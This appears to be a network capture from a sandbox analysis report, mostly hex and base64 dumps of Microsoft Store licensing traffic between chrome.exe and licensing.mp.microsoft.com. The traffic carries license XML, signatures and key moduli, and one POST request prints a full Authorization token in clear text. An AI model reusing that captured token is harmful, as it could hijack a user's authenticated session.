2022-07-01 09:01:35 UTC 2568 IN Data Raw: 46 4a 6c 5a 6d 56 79 5a 57 35 6a 5a 53 42 56 55 6b 6b 39 49 69 49 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 
62 58 4d 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 53 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 
36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 41 76 4d 44 6b 76 65 47 31 73 5a 48 4e 70 5a 79 
4e 6c 62 6e 5a 6c 62 47 39 77 5a 57 51 74 63 32 6c 6e 62 6d 46 30 64 58 4a 6c 49 69 41 76 50 6a 77 76 56 48 4a 68 62 
6e 4e 6d 62 33 4a 74 63 7a 34 38 52 47 6c 6e 5a 58 4e 30 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 
62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 38 77 4e 43 39 
34 62 57 78 6c 62 6d 4d 6a 63 32 68 68 4d 6a 55 32 49 69 41 76 50 6a 78 45 
Data Ascii: FJlZmVyZW5jZSBVUkk9IiI+PFRyYW5zZm9ybXM+PFRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly9
3d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIiAvPjwvVHJhbnNmb3Jtcz48RGlnZ
XN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2IiAvPjxE
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2022-07-01 09:01:35 UTC 2569 IN Data Raw: 6c 4e 77 63 45 4e 42 54 79 74 70 62 6a 6c 51 54 30 78 58 5a 45 4d 79 4c 31 52 52 62 32 52 6e 5a 55 68 61 
65 6d 4a 6b 51 6e 5a 34 53 6e 5a 4c 61 48 42 69 63 6e 45 32 57 6c 41 77 52 6e 4e 54 52 57 78 4d 64 31 4a 76 54 45 46 
74 64 6a 64 36 53 58 56 57 64 7a 4e 57 59 6a 64 30 5a 6c 46 30 4e 57 4a 71 51 30 52 49 55 6b 46 48 4f 57 5a 6c 63 30 
35 73 57 55 74 57 4d 33 6c 69 65 55 35 79 53 48 6c 36 5a 32 78 6d 57 6c 42 53 51 6a 56 56 53 6c 70 33 4d 7a 4a 35 61 
54 41 7a 65 6c 46 68 4b 30 78 4d 59 54 41 31 5a 6d 70 7a 4e 6d 70 76 52 57 31 73 53 47 4d 31 51 6e 4a 48 55 58 4a 48 
63 6d 4a 4f 54 55 4a 68 61 48 6f 30 59 32 31 31 65 45 74 44 4e 43 39 6b 61 45 56 69 4e 30 70 61 52 6c 56 72 59 7a 42 
4e 55 6d 68 7a 4c 30 30 7a 56 6d 55 31 4d 54 46 49 55 57 5a 4c 64 55 63 72 
Data Ascii: lNwcENBTytpbjlQT0xXZEMyL1RRb2RnZUhaemJkQnZ4SnZLaHBicnE2WlAwRnNTRWxMd1JvTEFtdjd
6SXVWdzNWYjd0ZlF0NWJqQ0RIUkFHOWZlc05sWUtWM3lieU5ySHl6Z2xmWlBSQjVVSlp3MzJ5aTAzelFhK0xMYTA1Z
mpzNmpvRW1sSGM1QnJHUXJHcmJOTUJhaHo0Y211eEtDNC9kaEViN0paRlVrYzBNUmhzL00zVmU1MTFIUWZLdUcr

2022-07-01 09:01:35 UTC 2570 IN Data Raw: 42 63 33 4e 76 59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 35 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 56 32 6c 
75 5a 47 39 33 63 30 4e 68 62 57 56 79 59 56 38 34 64 32 56 72 65 57 49 7a 5a 44 68 69 59 6e 64 6c 50 43 39 42 63 33 
4e 76 59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 34 38 54 47 56 68 63 32 56 53 5a 57 35 6c 64 32 46 73 55 47 56 79 61 
57 39 6b 50 6a 45 79 4f 54 59 77 4d 44 77 76 54 47 56 68 63 32 56 53 5a 57 35 6c 64 32 46 73 55 47 56 79 61 57 39 6b 
50 6a 77 76 51 6d 6c 75 5a 47 6c 75 5a 7a 34 38 54 47 6c 6a 5a 57 35 7a 5a 55 6c 75 5a 6d 38 67 56 48 6c 77 5a 54 30 
69 54 47 56 68 63 32 55 69 49 45 78 70 59 32 56 75 63 32 56 56 63 32 46 6e 5a 54 30 69 54 32 35 73 61 57 35 6c 49 69 
42 4d 61 57 4e 6c 62 6e 4e 6c 51 32 46 30 5a 57 64 76 63 6e 6b 39 49 6c 
Data Ascii: Bc3NvY2lhdGVkUEZOcz5NaWNyb3NvZnQuV2luZG93c0NhbWVyYV84d2VreWIzZDhiYndlPC9Bc3NvY
2lhdGVkUEZOcz48TGVhc2VSZW5ld2FsUGVyaW9kPjEyOTYwMDwvTGVhc2VSZW5ld2FsUGVyaW9kPjwvQ
mluZGluZz48TGljZW5zZUluZm8gVHlwZT0iTGVhc2UiIExpY2Vuc2VVc2FnZT0iT25saW5lIiBMaWNlbnNlQ2F0ZWdvcnk9Il

2022-07-01 09:01:35 UTC 2571 IN Data Raw: 48 52 6d 70 68 4d 6b 5a 75 57 6c 68 4e 61 55 39 73 64 44 64 4a 62 6b 4a 6f 57 54 4a 30 61 46 6f 79 56 6b 70 
61 52 31 5a 31 5a 45 64 73 62 57 46 58 56 6e 6c 4a 61 6d 39 70 54 54 4a 4b 62 56 70 45 53 54 4a 5a 65 6d 74 30 54 30 
64 53 61 45 39 54 4d 57 6c 50 56 46 46 33 54 46 64 5a 4d 6b 31 36 5a 33 52 4f 56 46 55 30 54 31 52 42 64 30 31 55 53 
6d 68 5a 56 30 6b 77 53 57 6c 33 61 57 4e 48 52 6d 70 68 4d 6b 5a 75 57 6c 5a 53 4e 57 4e 48 56 57 6c 50 61 55 70 30 
59 7a 4a 73 4e 45 6c 70 64 32 6c 6a 53 45 70 32 57 6b 68 57 61 6d 52 46 52 6d 74 61 52 54 6c 31 59 33 6c 4a 4e 6c 63 
78 4d 48 4e 4a 62 6b 4a 35 59 6a 4a 53 4d 56 6b 7a 55 6b 70 61 51 30 6b 32 53 57 70 73 57 46 64 72 55 6b 39 52 4d 55 
70 48 55 32 74 4b 51 31 4a 35 53 58 4e 4a 62 6b 35 79 5a 46 56 73 61 30 
Data Ascii: HRmphMkZuWlhNaU9sdDdJbkJoWTJ0aFoyVkpaR1Z1ZEdsbWFXVnlJam9pTTJKbVpESTJZemt0T0dSa
E9TMWlPVFF3TFdZMk16Z3ROVFU0T1RBd01USmhZV0kwSWl3aWNHRmphMkZuWlZSNWNHVWlPaUp0YzJsN
Elpd2ljSEp2WkhWamRFRmtaRTl1Y3lJNlcxMHNJbkJ5YjJSMVkzUkpaQ0k2SWpsWFdrUk9RMUpHU2tKQ1J5SXNJbk5
yZFVsa0

2022-07-01 09:01:35 UTC 2572 IN Data Raw: 6a 49 6a 34 38 55 32 6c 6e 62 6d 56 6b 53 57 35 6d 62 7a 34 38 51 32 46 75 62 32 35 70 59 32 46 73 61 58 
70 68 64 47 6c 76 62 6b 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 
79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 54 41 76 65 47 31 73 4c 57 56 34 59 79 31 6a 
4d 54 52 75 49 79 49 67 4c 7a 34 38 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 
79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 
38 77 4e 43 39 34 62 57 78 6b 63 32 6c 6e 4c 57 31 76 63 6d 55 6a 63 6e 4e 68 4c 58 4e 6f 59 54 49 31 4e 69 49 67 4c 
7a 34 38 55 6d 56 6d 5a 58 4a 6c 62 6d 4e 6c 49 46 56 53 53 54 30 69 49 6a 
Data Ascii: jIj48U2lnbmVkSW5mbz48Q2Fub25pY2FsaXphdGlvbk1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d
3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMTRuIyIgLz48U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDo
vL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIgLz48UmVmZXJlbmNlIFVSST0iIj

2022-07-01 09:01:35 UTC 2573 IN Data Raw: 35 63 6a 46 79 62 46 4e 6c 64 6b 52 68 52 46 46 6f 59 6b 35 74 54 7a 46 69 62 57 39 5a 53 53 39 52 65 47 68 
56 56 6e 41 34 53 58 6c 52 55 55 70 57 51 6d 35 58 59 6e 70 48 55 31 49 72 53 48 56 45 51 54 30 39 50 43 39 54 61 57 
64 75 59 58 52 31 63 6d 56 57 59 57 78 31 5a 54 34 38 53 32 56 35 53 57 35 6d 62 79 42 4a 5a 44 30 69 58 7a 42 6d 4f 
44 46 69 4d 6a 52 6d 4c 57 4a 6a 4e 44 41 74 4d 6a 63 78 4d 69 30 77 5a 44 56 6b 4c 57 55 33 59 7a 45 77 4d 44 67 31 
59 7a 4d 7a 4d 43 49 2b 50 45 74 6c 65 56 5a 68 62 48 56 6c 50 6a 78 53 55 30 46 4c 5a 58 6c 57 59 57 78 31 5a 54 34 
38 54 57 39 6b 64 57 78 31 63 7a 35 76 56 6c 4e 4b 57 45 6c 30 52 48 4e 68 51 55 6c 6d 64 33 6c 53 4f 57 4a 6f 61 43 
39 61 55 33 42 77 51 30 46 50 4b 32 6c 75 4f 56 42 50 54 46 64 6b 51 7a 
Data Ascii: 5cjFybFNldkRhRFFoYk5tTzFibW9ZSS9ReGhVVnA4SXlRUUpWQm5XYnpHU1IrSHVEQT09PC9TaWduY
XR1cmVWYWx1ZT48S2V5SW5mbyBJZD0iXzBmODFiMjRmLWJjNDAtMjcxMi0wZDVkLWU3YzEwMDg1YzMzM
CI+PEtleVZhbHVlPjxSU0FLZXlWYWx1ZT48TW9kdWx1cz5vVlNKWEl0RHNhQUlmd3lSOWJoaC9aU3BwQ0FPK2luOVB
PTFdkQz

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

155 192.168.2.5 49922 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
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Direction Data
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2022-07-01 09:01:35 UTC 2573 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.38
Content-Length: 4293
Host: licensing.mp.microsoft.com

2022-07-01 09:01:35 UTC 2575 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:35 UTC 2579 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:35 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 7973
MS-CorrelationId: db486830-b853-4233-a58f-f38bd3b42744
MS-RequestId: 06bc5749-3733-4ffa-9fb8-755fce8e0e7c
MS-CV: UznHpAHqV0GMBdER.38.1530940652.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-zdjkw

2022-07-01 09:01:35 UTC 2580 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 65 36 34 66 66 65 66 31 2d 65 32 34 36 2d 62 
36 33 32 2d 35 39 35 62 2d 35 36 30 37 36 61 33 66 61 37 37 36 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"e64ffef1-e246-b632-595b-56076a3fa776"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:35 UTC 2581 IN Data Raw: 44 41 77 4f 6a 45 35 4f 6a 41 35 4c 6a 45 7a 4d 54 49 77 4e 6a 4a 61 50 43 39 43 5a 57 64 70 62 6b 52 68 64 
47 55 2b 50 43 39 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 7a 34 38 51 33 56 7a 64 47 39 74 55 47 39 73 61 57 4e 70 
5a 58 4d 2b 5a 58 6c 4b 63 31 70 58 5a 47 68 5a 4d 32 78 52 59 32 30 35 61 32 52 58 54 6a 42 54 56 31 46 70 54 32 6c 
4a 4d 6b 35 45 53 54 56 4e 65 6b 6b 78 54 57 6b 77 4d 55 39 55 53 54 4a 4d 56 46 45 78 54 54 4a 4e 64 45 39 55 55 54 
56 4f 51 7a 42 35 57 6b 52 52 64 30 31 71 52 6d 31 4e 56 30 30 7a 54 30 64 52 61 57 5a 52 50 54 30 38 4c 30 4e 31 63 
33 52 76 62 56 42 76 62 47 6c 6a 61 57 56 7a 50 6a 78 54 55 45 78 70 59 32 56 75 63 32 56 43 62 47 39 6a 61 7a 35 47 
51 55 46 42 51 55 78 4a 51 55 46 42 52 45 70 42 51 55 46 42 51 32 64 42 
Data Ascii: DAwOjE5OjA5LjEzMTIwNjJaPC9CZWdpbkRhdGU+PC9MaWNlbnNlSW5mbz48Q3VzdG9tUG9saWNpZXM
+ZXlKc1pXZGhZM2xRY205a2RXTjBTV1FpT2lJMk5ESTVNekkxTWkwMU9USTJMVFExTTJNdE9UUTVOQzB
5WkRRd01qRm1NV00zT0dRaWZRPT08L0N1c3RvbVBvbGljaWVzPjxTUExpY2Vuc2VCbG9jaz5GQUFBQUx
JQUFBREpBQUFBQ2dB

2022-07-01 09:01:35 UTC 2582 IN Data Raw: 6d 56 6d 5a 58 4a 6c 62 6d 4e 6c 49 46 56 53 53 54 30 69 49 6a 34 38 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 
63 7a 34 38 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 
76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 38 77 4f 53 39 34 62 57 78 6b 63 32 6c 6e 49 32 5
6 75 64 6d 56 73 62 33 42 6c 5a 43 31 7a 61 57 64 75 59 58 52 31 63 6d 55 69 49 43 38 2b 50 43 39 55 63 6d 46 75 63 
32 5a 76 63 6d 31 7a 50 6a 78 45 61 57 64 6c 63 33 52 4e 5a 58 52 6f 62 32 51 67 51 57 78 6e 62 33 4a 70 64 47 68 74 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 7a 41 30 4c 33 68 
74 62 47 56 75 59 79 4e 7a 61 47 45 79 4e 54 59 69 49 43 38 2b 50 45 52 70 
Data Ascii: mVmZXJlbmNlIFVSST0iIj48VHJhbnNmb3Jtcz48VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d
3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnI2VudmVsb3BlZC1zaWduYXR1cmUiIC8+PC9UcmFuc2Zvcm1zPjxEaWdlc
3RNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGVuYyNzaGEyNTYiIC8+PERp
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2022-07-01 09:01:35 UTC 2583 IN Data Raw: 33 42 77 51 30 46 50 4b 32 6c 75 4f 56 42 50 54 46 64 6b 51 7a 49 76 56 46 46 76 5a 47 64 6c 53 46 70 36 59 
6d 52 43 64 6e 68 4b 64 6b 74 6f 63 47 4a 79 63 54 5a 61 55 44 42 47 63 31 4e 46 62 45 78 33 55 6d 39 4d 51 57 31 32 
4e 33 70 4a 64 56 5a 33 4d 31 5a 69 4e 33 52 6d 55 58 51 31 59 6d 70 44 52 45 68 53 51 55 63 35 5a 6d 56 7a 54 6d 78 
5a 53 31 59 7a 65 57 4a 35 54 6e 4a 49 65 58 70 6e 62 47 5a 61 55 46 4a 43 4e 56 56 4b 57 6e 63 7a 4d 6e 6c 70 4d 44 
4e 36 55 57 45 72 54 45 78 68 4d 44 56 6d 61 6e 4d 32 61 6d 39 46 62 57 78 49 59 7a 56 43 63 6b 64 52 63 6b 64 79 59 
6b 35 4e 51 6d 46 6f 65 6a 52 6a 62 58 56 34 53 30 4d 30 4c 32 52 6f 52 57 49 33 53 6c 70 47 56 57 74 6a 4d 45 31 53 
61 48 4d 76 54 54 4e 57 5a 54 55 78 4d 55 68 52 5a 6b 74 31 52 79 73 35 
Data Ascii: 3BwQ0FPK2luOVBPTFdkQzIvVFFvZGdlSFp6YmRCdnhKdktocGJycTZaUDBGc1NFbEx3Um9MQW12N3p
JdVZ3M1ZiN3RmUXQ1YmpDREhSQUc5ZmVzTmxZS1YzeWJ5TnJIeXpnbGZaUFJCNVVKWnczMnlpMDN6UWE
rTExhMDVmanM2am9FbWxIYzVCckdRckdyYk5NQmFoejRjbXV4S0M0L2RoRWI3SlpGVWtjME1SaHMvTTN
WZTUxMUhRZkt1Rys5

2022-07-01 09:01:35 UTC 2584 IN Data Raw: 42 63 33 4e 76 59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 35 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 56 32 6c 
75 5a 47 39 33 63 31 4e 30 62 33 4a 6c 58 7a 68 33 5a 57 74 35 59 6a 4e 6b 4f 47 4a 69 64 32 55 38 4c 30 46 7a 63 32 
39 6a 61 57 46 30 5a 57 52 51 52 6b 35 7a 50 6a 78 4d 5a 57 46 7a 5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 62 
32 51 2b 4d 54 49 35 4e 6a 41 77 50 43 39 4d 5a 57 46 7a 5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 62 32 51 2b 
50 43 39 43 61 57 35 6b 61 57 35 6e 50 6a 78 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 79 42 55 65 58 42 6c 50 53 4a 
4d 5a 57 46 7a 5a 53 49 67 54 47 6c 6a 5a 57 35 7a 5a 56 56 7a 59 57 64 6c 50 53 4a 50 62 6d 78 70 62 6d 55 69 49 45 
78 70 59 32 56 75 63 32 56 44 59 58 52 6c 5a 32 39 79 65 54 30 69 55 6d 
Data Ascii: Bc3NvY2lhdGVkUEZOcz5NaWNyb3NvZnQuV2luZG93c1N0b3JlXzh3ZWt5YjNkOGJid2U8L0Fzc29ja
WF0ZWRQRk5zPjxMZWFzZVJlbmV3YWxQZXJpb2Q+MTI5NjAwPC9MZWFzZVJlbmV3YWxQZXJpb2Q+PC9Ca
W5kaW5nPjxMaWNlbnNlSW5mbyBUeXBlPSJMZWFzZSIgTGljZW5zZVVzYWdlPSJPbmxpbmUiIExpY2Vuc2VDYXRlZ29
yeT0iUm

2022-07-01 09:01:35 UTC 2585 IN Data Raw: 47 61 6d 45 79 52 6d 35 61 57 45 31 70 54 32 78 30 4e 30 6c 75 51 6d 68 5a 4d 6e 52 6f 57 6a 4a 57 53 6c 70 
48 56 6e 56 6b 52 32 78 74 59 56 64 57 65 55 6c 71 62 32 6c 50 56 31 45 77 57 6b 64 57 61 30 39 45 61 33 52 5a 4d 6b 
5a 70 57 58 6b 78 62 55 35 48 57 6d 6c 4d 56 47 64 34 54 58 70 4e 64 46 6c 74 54 54 46 61 56 31 4a 70 54 56 64 4e 4d 
31 70 58 55 6d 68 4a 61 58 64 70 59 30 64 47 61 6d 45 79 52 6d 35 61 56 6c 49 31 59 30 64 56 61 55 39 70 53 6e 52 6a 
4d 6d 77 30 53 57 6c 33 61 57 4e 49 53 6e 5a 61 53 46 5a 71 5a 45 56 47 61 31 70 46 4f 58 56 6a 65 55 6b 32 56 7a 45 
77 63 30 6c 75 51 6e 6c 69 4d 6c 49 78 57 54 4e 53 53 6c 70 44 53 54 5a 4a 61 6d 78 59 56 32 74 53 54 31 45 78 53 6b 
64 54 61 30 70 4f 56 55 4e 4a 63 30 6c 75 54 6e 4a 6b 56 57 78 72 53 57 
Data Ascii: GamEyRm5aWE1pT2x0N0luQmhZMnRoWjJWSlpHVnVkR2xtYVdWeUlqb2lPV1EwWkdWa09Ea3RZMkZpW
XkxbU5HWmlMVGd4TXpNdFltTTFaV1JpTVdNM1pXUmhJaXdpY0dGamEyRm5aVlI1Y0dVaU9pSnRjMmw0S
Wl3aWNISnZaSFZqZEVGa1pFOXVjeUk2VzEwc0luQnliMlIxWTNSSlpDSTZJamxYV2tST1ExSkdTa0pOVUNJc0luTnJ
kVWxrSW

2022-07-01 09:01:35 UTC 2586 IN Data Raw: 69 50 6a 78 54 61 57 64 75 5a 57 52 4a 62 6d 5a 76 50 6a 78 44 59 57 35 76 62 6d 6c 6a 59 57 78 70 65 6d 
46 30 61 57 39 75 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 
33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 38 78 4d 43 39 34 62 57 77 74 5a 58 68 6a 4c 57 4d 78 
4e 47 34 6a 49 69 41 76 50 6a 78 54 61 57 64 75 59 58 52 31 63 6d 56 4e 5a 58 52 6f 62 32 51 67 51 57 78 6e 62 33 4a 
70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 7a 
41 30 4c 33 68 74 62 47 52 7a 61 57 63 74 62 57 39 79 5a 53 4e 79 63 32 45 74 63 32 68 68 4d 6a 55 32 49 69 41 76 50 
6a 78 53 5a 57 5a 6c 63 6d 56 75 59 32 55 67 56 56 4a 4a 50 53 49 69 50 6a 
Data Ascii: iPjxTaWduZWRJbmZvPjxDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3d
y53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIiAvPjxTaWduYXR1cmVNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8
vd3d3LnczLm9yZy8yMDAxLzA0L3htbGRzaWctbW9yZSNyc2Etc2hhMjU2IiAvPjxSZWZlcmVuY2UgVVJJPSIiPj

2022-07-01 09:01:35 UTC 2587 IN Data Raw: 54 51 58 68 72 65 48 52 58 4e 6e 41 7a 4d 46 68 52 56 6e 42 50 4c 33 5a 35 52 6c 4a 7a 4d 6d 78 6a 56 6e 
55 32 62 30 78 6c 4f 58 45 30 63 7a 68 74 61 47 6b 34 59 6d 56 32 55 7a 4a 47 59 6c 4a 42 50 54 30 38 4c 31 4e 70 5a 
32 35 68 64 48 56 79 5a 56 5a 68 62 48 56 6c 50 6a 78 4c 5a 58 6c 4a 62 6d 5a 76 49 45 6c 6b 50 53 4a 66 4d 47 59 34 
4d 57 49 79 4e 47 59 74 59 6d 4d 30 4d 43 30 79 4e 7a 45 79 4c 54 42 6b 4e 57 51 74 5a 54 64 6a 4d 54 41 77 4f 44 56 
6a 4d 7a 4d 77 49 6a 34 38 53 32 56 35 56 6d 46 73 64 57 55 2b 50 46 4a 54 51 55 74 6c 65 56 5a 68 62 48 56 6c 50 6a 
78 4e 62 32 52 31 62 48 56 7a 50 6d 39 57 55 30 70 59 53 58 52 45 63 32 46 42 53 57 5a 33 65 56 49 35 59 6d 68 6f 4c 
31 70 54 63 48 42 44 51 55 38 72 61 57 34 35 55 45 39 4d 56 32 52 44 4d 69 
Data Ascii: TQXhreHRXNnAzMFhRVnBPL3Z5RlJzMmxjVnU2b0xlOXE0czhtaGk4YmV2UzJGYlJBPT08L1NpZ25hd
